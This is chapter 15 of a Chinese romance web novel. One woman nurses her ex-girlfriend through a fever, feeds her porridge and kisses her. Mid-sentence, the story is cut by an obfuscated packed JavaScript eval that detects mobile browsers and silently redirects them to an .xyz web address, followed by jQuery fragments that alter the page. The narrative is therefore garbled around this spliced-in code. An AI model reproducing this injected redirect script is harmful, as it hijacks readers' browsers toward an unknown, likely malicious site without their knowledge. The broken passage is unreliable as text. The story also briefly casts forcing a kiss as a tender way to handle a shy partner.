15. 第 15 章

作品:《阴湿前任私定婚纱嫁我

    闷热。


    安迟叙眨了眼,视线的变换十分迟缓,朦胧的泪水盖着眼眶,她再怎么努力也看不清眼前。


    是高烧带来的生理性泪水。薄薄一层,怎么也干不透,浸润的安迟叙鼻尖发酸,有些分不清她究竟是否想哭。


    毕竟,她看不清跪坐在她身边的到底是鬼,是思念,是想要谋财害命的强盗。


    还是晏辞微。


    是前者吧?安迟叙糊涂的想着。


    她也不清楚她究竟烧到多少度,呼出的热气都好像晏辞微眼底的红痣。


    她才刚思念完晏辞微。哪有如此快的回响。


    她希望不是晏辞微。


    不过发烧而已,她一个人撑得住。


    然而感知晏辞微的方式从来都不止一种。


    安迟叙不断放缓着呼吸,茉莉雪芽的清芳慢慢冲破她堵塞的鼻孔。


    额头上传来一阵轻柔的擦拭,隔着毛巾的手指怜惜着她,像照料女儿的母亲。


    闷热的初夏相当寂静。安迟叙再次眨眼重新对焦时,世界只剩两个人的呼吸。


    她的粗糙沉重,晏辞微的安静细微。


    ……是晏辞微啊。


    安迟叙稍稍偏头,这一点动作都显得有些艰难。


    晏辞微的手恰到好处的贴上安迟叙的脸。


    一阵凉意顺着她的掌心传向安迟叙混沌的头脑。


    晏辞微还是那么体寒。安迟叙情不自禁朝缓解高烧滚烫疼痛的方向靠近,慢慢吐出一声无意义的呢喃。


    晏辞微把退烧贴妥当的贴在安迟叙额头,捂她一张绯红的云颊两分钟,而后抽手放入一旁的冰水中。


    如此往复。


    直到安迟叙又梦了晏辞微一度,睁开眼,直勾勾的看向晏辞微。


    晏辞微才停了如此低效的降温方式。


    她的手已经红了,被冰水浸泡到发紫的程度。


    可还留了些安迟叙的温度,不至于冷到发痛。


    安迟叙清醒了不少,想要坐起来,又被这只发红的手按住。


    “没事了,团团。好好休息。”晏辞微已经接管了这里的一切。她要安迟叙不必操心。


    “……你怎么来了?”安迟叙有些抗拒。


    “没记错的话,团团,这里是我家。”晏辞微无奈弯眉。


    安迟叙想问的不是这个。晏辞微却不想回答真正的问题。


    对视也热火,安迟叙最后的力气化作驱逐的视线,劈里啪啦打在晏辞微的眼里。


    或许是被灼痛,晏辞微终于让步。


    她一声叹息。“乖团团……你没请假也没来上班,我当然知道你出事了。”


    晏辞微的指尖还带着些冷,扫过安迟叙的眼帘,轻碰她的睫毛。


    “三十九度四,烧这么高,团团,有想过我吗?”她明明最会照顾好她的小猫了。安迟叙体验过的。


    晏辞微好像很珍惜能当着安迟叙的面喊团团的机会,每一句话都不肯放过。


    团团,团团……


    安迟叙闭上眼咬住唇,忍着痛苦的呻吟。


    “……手机。”那里还躺着她没能拨通的电话。安迟叙还是回应了晏辞微。


    团团是晏辞微给安迟叙起的小名。


    只有她们知道,只有她会这么喊,每一次听见安迟叙都会心悸,曾经悸动里只有欢喜。


    安迟叙听见一声哂笑。


    晏辞微取下有点热的毛巾,重新处理好退烧贴,安在她的团团头上。


    而后撩过耳发,也不管满身茉莉雪芽的气息包裹了安迟叙,闷钝她的呼吸,就这样低头。


    干燥的,短暂的吻落在安迟叙鼻尖。


    鼻尖发痒。安迟叙控制不住的抽动,睁开眼。


    “我去给你热粥。”晏辞微最后抚过她的脸颊,在她模糊不清的注视下离开了卧室。


    晏辞微没有关门。


    安迟叙盯着她离开的方向呆了好久,才意识到,晏辞微也没有检查她的手机。


    ***


    晏辞微早做好了病号套餐,这会儿只需要热一次。


    她拿小勺抿过一口,确认温度刚好,正准备拿小碗盛出来。


    一双手从背后抱住她。


    那双手没有力气,烫得惊人。仿佛骨头都融化在高温里。


    晏辞微心脏也快随之融化。她想要转身,却被紧紧囚在灶台和安迟叙这一点空间里。


    “你没有必要来。”安迟叙的声音和棉花没有区别。


    模模糊糊的,又好像梅雨季连日的天气,有些发霉的湿黏。


    晏辞微有片刻的停顿。


    她还是转过身去,面对她执拗的小猫。


    她期待看见贴在她脖颈处的头颅,高扬着,喜欢的小猫用清澈无辜的大眼睛望向她,就像她们十六岁那样。


    但安迟叙已经比她高了。


    哪怕因为高烧腿脚酸软无力,安迟叙也依旧和她平齐,不再睁大双眼看向她,想把最好的她深刻印在脑海里。


    二十五岁的安迟叙垂着眼眸,那双黑杏仁里没有一颗光。


    晏辞微咬痛嘴唇,干脆的无视了这些痛楚。


    她搂住她站不稳的团团。安迟叙的腰比任何一天都软,无骨动物一样粘稠的淌在晏辞微的臂膀上,缓慢向下流动。


    晏辞微把安迟叙往自己肩膀上揽,而后空出一只手,拿勺子舀温热的粥。


    一勺一勺,慢腾腾的。


    把热粥喂给被她反囚在怀里的安迟叙。


    安迟叙没有挣扎。她张开嘴,默许了晏辞微的“看望”。


    ***


    粥是安迟叙最喜欢的味道。玉米加瘦肉,咸、甜都刚刚好。


    只有晏辞微才做得出这样的粥。分手以后安迟叙去了很多家店,自己也尝试多次,总是复刻不出那种味道。


    以前她只要说想,晏辞微就会满足她。哪怕她没有生病。


    ……现在竟也一样。


    安迟叙沉下去。


    呼吸不畅快的感觉好像溺亡。粥是呛人的水,慢慢填满她的肺。


    她怎么也落不到深渊,还有一只手拉着她。


    晏辞微。


    晏辞微搂着她的腰,喂完这一碗粥,毫不犹豫的把她抱了起来。


    生病的人总是很沉的。安迟叙也无力像以前那样勾住晏辞微的脖颈,紧贴她的胸口。


    而晏辞微抱的很稳。比坐她的车还稳,一点颠簸都没有。


    屋内只剩寂静的脚步声。


    “……瘦了好多。”或许晏辞微是情不自禁。


    或许是安迟叙自己出了幻觉。


    一句话太轻,转瞬就被呼出的热气吹散。


    安迟叙闭着眼,悄悄拉住晏辞微的衣袖。


    晏辞微的照顾真的很舒服。


    收拾整齐的客厅,洗净霉菌的壁纸,分类摆放的资料,按需备齐的药物……还有帮她请好的假,时时刻刻的陪伴。


    虽然不知道她最乱的客卧,拿来放橘子的猫房有没有被打扫过,但家里连一片猫毛都没看见了。


    晏辞微如此细致,比最好的保洁更明白安迟叙的家,她们的家。


    安迟叙不再需要思考、劳累。


    她乱放的遥控器和茶具就会有人替她收,突兀长霉的角落会被随时清洗干净,找不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866423|176156||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到的文件也会老实出现在书房,就连一次咳嗽都会有细致的关心。


    她唯一需要做的,只是给出爱。


    人有惰性。


    安迟叙被晏辞微放回床上时,出神的想着。


    而她为她的惰性依赖抗争两年了,如今竟有功亏一篑的迹象。


    难道她真的无法战胜晏辞微,这辈子都只能是她的小猫吗?


    晏辞微包着药,近了。


    安迟叙知道她想做什么。


    她有一百个理由可以拒绝。她们现在没再交往,她讨厌晏辞微,她身上有病菌容易传染……


    可她也闭上眼。


    嘴唇贴合。


    比粥还热的药缓慢流入安迟叙的口腔。


    不苦,微甜。还带着茉莉雪芽的香气。


    晏辞微捧着安迟叙的头,让她以最舒服的方式咽下这口药。


    ……


    药已经没了。


    晏辞微的借口用完了。


    她该走了。安迟叙颤动睫毛,等待着。


    一个吻加深了。


    安迟叙略偏头。她现在想躲。


    来不及了。


    晏辞微已经坐在她身上,半搂半揽的将她送入怀中。


    慢慢探出舌头。


    安迟叙发出些呢喃,无措中揪住晏辞微的腰。


    晏辞微不敢停顿,稳步推进这一次吻。


    安迟叙长大了很多。


    可有些习惯,总还是和以前一样。


    那会儿的安迟叙就喜欢在接吻的时候掐着她的腰,躲躲藏藏的把舌头送上来,和她玩心照不宣的捉迷藏游戏。


    她很知羞,胆子更小,还不会表达想法,分不清自己想要的是什么。


    晏辞微只能一点一点引导她。无论从前还是现在。


    好在晏辞微最擅长引导。


    她没有急着加速,还在试探安迟叙是否接受她的唐突。


    安迟叙没有进一步的反应,和那年强吻她的时候一样,傻在原地。


    晏辞微在心底发笑。


    安迟叙果然还是她的团团。


    是惯性依赖她的小猫。


    猫都是这样,需要一点点强制,不然太狡猾太自卑,永远也没法接近。


    如果她觉得不舒服,自己会跑。


    安迟叙肯定还有力气把她推开,但她什么也没做。


    晏辞微放心的加深着这个吻。


    她探索着,轻咬偏头。


    腰上的力道忽然重了点。


    要被咬了吗?晏辞微一颗心惴惴着发痛,疼痛却叫她愈发兴奋。


    安迟叙只是从她喂的粥里恢复了些力气,抱紧她。


    用力的迎合,把深吻加到呼吸都没法承受的地步。


    她有些细碎的呻.吟,晏辞微一颗心因为她的动作忽上忽下。


    引导不再。


    而安迟叙也不知该如何做,一通胡乱的亲吻后,没了力气。


    她滑倒在晏辞微怀里。晏辞微面色泛粉,呼吸紊乱,却还是稳稳接住她。


    她想要继续。想要一个吻,更多的吻,更深的吻。


    想要……安迟叙的爱。


    而安迟叙无力的抬手,点上晏辞微那被她咬红的唇峰。


    像一次阻止。


    晏辞微听话的呆在原地,瞳孔却骤然缩小。


    “其实……我也很想你。”功亏一篑了。


    惰性依赖像梅雨季的霉菌。


    安迟叙独自生活时清理的再干净,也无法阻止它们从暗处生长。


    慢慢爬满整间屋子。


    只有晏辞微来,才能彻底将它们拔除。